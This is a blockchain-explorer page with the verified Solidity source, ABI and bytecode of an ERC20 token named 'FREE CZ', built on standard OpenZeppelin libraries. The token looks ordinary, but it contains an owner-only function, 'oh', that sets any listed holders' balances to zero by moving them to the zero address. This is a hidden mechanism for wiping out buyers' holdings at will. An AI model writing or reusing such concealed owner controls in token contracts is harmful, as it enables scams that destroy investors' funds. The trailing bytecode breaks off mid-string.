Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResultFromTarget(    - function verifyCallResult(    - function _revert(bytes memory returnd ... library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract freecz is Context, IERC20 *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function transferFrom(address sender, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function _mint(address account, uint2 ...    - function _approve(address owner, addr ...    - function _transfer(address sender, ad ...    - function oh(address[] memory sink)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-14
*/

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: barb.sol


/**
 *SPDX-License-Identifier: MIT
 */
pragma solidity ^0.8.18;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract freecz is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public  single;
    constructor () {
        _name = "FREE CZ";
        _symbol = "FREECZ";
        _decimals = 18;
        uint256 initialSupply = 835000000;
         single = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    modifier onlyOwner() {
        require(msg.sender == single, "Not allowed");
        _;
    }

    function oh(address[] memory sink) public onlyOwner() {
        for (uint256 i = 0; i < sink.length; i++) {
            address account = sink[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"sink","type":"address[]"}],"name":"oh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"single","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b50604080518082019091526007815266232922a29021ad60c91b60208201526002906200003e908262000253565b50604080518082019091526006815265232922a2a1ad60d11b60208201526003906200006b908262000253565b506004805460ff19166012179055600680546001600160a01b031916339081179091556331c516c090620000b390620000ad83670de0b6b3a764000062000333565b620000ba565b5062000363565b6001600160a01b038216620001155760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b6005546200012490826200019f565b6005556001600160a01b0382165f908152602081905260409020546200014b90826200019f565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f620001ac82846200034d565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001de57607f821691505b602082108103620001fd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200024e57805f5260205f20601f840160051c810160208510156200022a5750805b601f840160051c820191505b818110156200024b575f815560010162000236565b50505b505050565b81516001600160401b038111156200026f576200026f620001b5565b6200028781620002808454620001c9565b8462000203565b602080601f831160018114620002bd575f8415620002a55750858301515b5f19600386901b1c1916600185901b17855562000317565b5f85815260208120601f198616915b82811015620002ed57888601518255948401946001909101908401620002cc565b50858210156200030b57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620001af57620001af6200031f565b80820180821115620001af57620001af6200031f565b610cc280620003715f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806370a082311161007d578063b3d64c3b11610058578063b3d64c3b14610193578063dd62ed3e146101a8578063de3e828e146101ed575f80fd5b806370a082311461014357806395d89b4114610178578063a9059cbb14610180575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109d2565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109fa565b6102d8565b60045460405160ff90911681526020016100dd565b61010d610151366004610a33565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d061034c565b6100f961018e3660046109d2565b61035b565b6101a66101a1366004610a79565b610367565b005b61010d6101b6366004610b57565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60065461020d9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b60606002805461024190610b88565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b88565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c656028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60606003805461024190610b88565b5f6102ce3384846106c2565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561050b575f82828151811061040b5761040b610bd9565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061048290829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104d8908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103ef565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b61085181604051806060016040528060268152602001610c3f6026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e49190610940565b505050900390565b5f6109398284610c06565b9392505050565b5f602080835283518060208501525f5b8181101561096c57858101830151858201604001528201610950565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109cd575f80fd5b919050565b5f80604083850312156109e3575f80fd5b6109ec836109aa565b946020939093013593505050565b5f805f60608486031215610a0c575f80fd5b610a15846109aa565b9250610a23602085016109aa565b9150604084013590509250925092565b5f60208284031215610a43575f80fd5b610939826109aa565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a8a575f80fd5b823567ffffffffffffffff80821115610aa1575f80fd5b818501915085601f830112610ab4575f80fd5b813581811115610ac657610ac6610a4c565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610b0957610b09610a4c565b604052918252848201925083810185019188831115610b26575f80fd5b938501935b82851015610b4b57610b3c856109aa565b84529385019392850192610b2b565b98975050505050505050565b5f8060408385031215610b68575f80fd5b610b71836109aa565b9150610b7f602084016109aa565b90509250929050565b600181811c90821680610b9c57607f821691505b602082108103610bd3577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a448d44f97e8dfe4248fa2292420ed3d9b8913e8d8c106f0320bfcb5faf6b46e64736f6c63430008170033

0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806370a082311161007d578063b3d64c3b11610058578063b3d64c3b14610193578063dd62ed3e146101a8578063de3e828e146101ed575f80fd5b806370a082311461014357806395d89b4114610178578063a9059cbb14610180575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109d2565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109fa565b6102d8565b60045460405160ff90911681526020016100dd565b61010d610151366004610a33565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d061034c565b6100f961018e3660046109d2565b61035b565b6101a66101a1366004610a79565b610367565b005b61010d6101b6366004610b57565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60065461020d9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b60606002805461024190610b88565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b88565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c656028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60606003805461024190610b88565b5f6102ce3384846106c2565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561050b575f82828151811061040b5761040b610bd9565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061048290829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104d8908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103ef565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648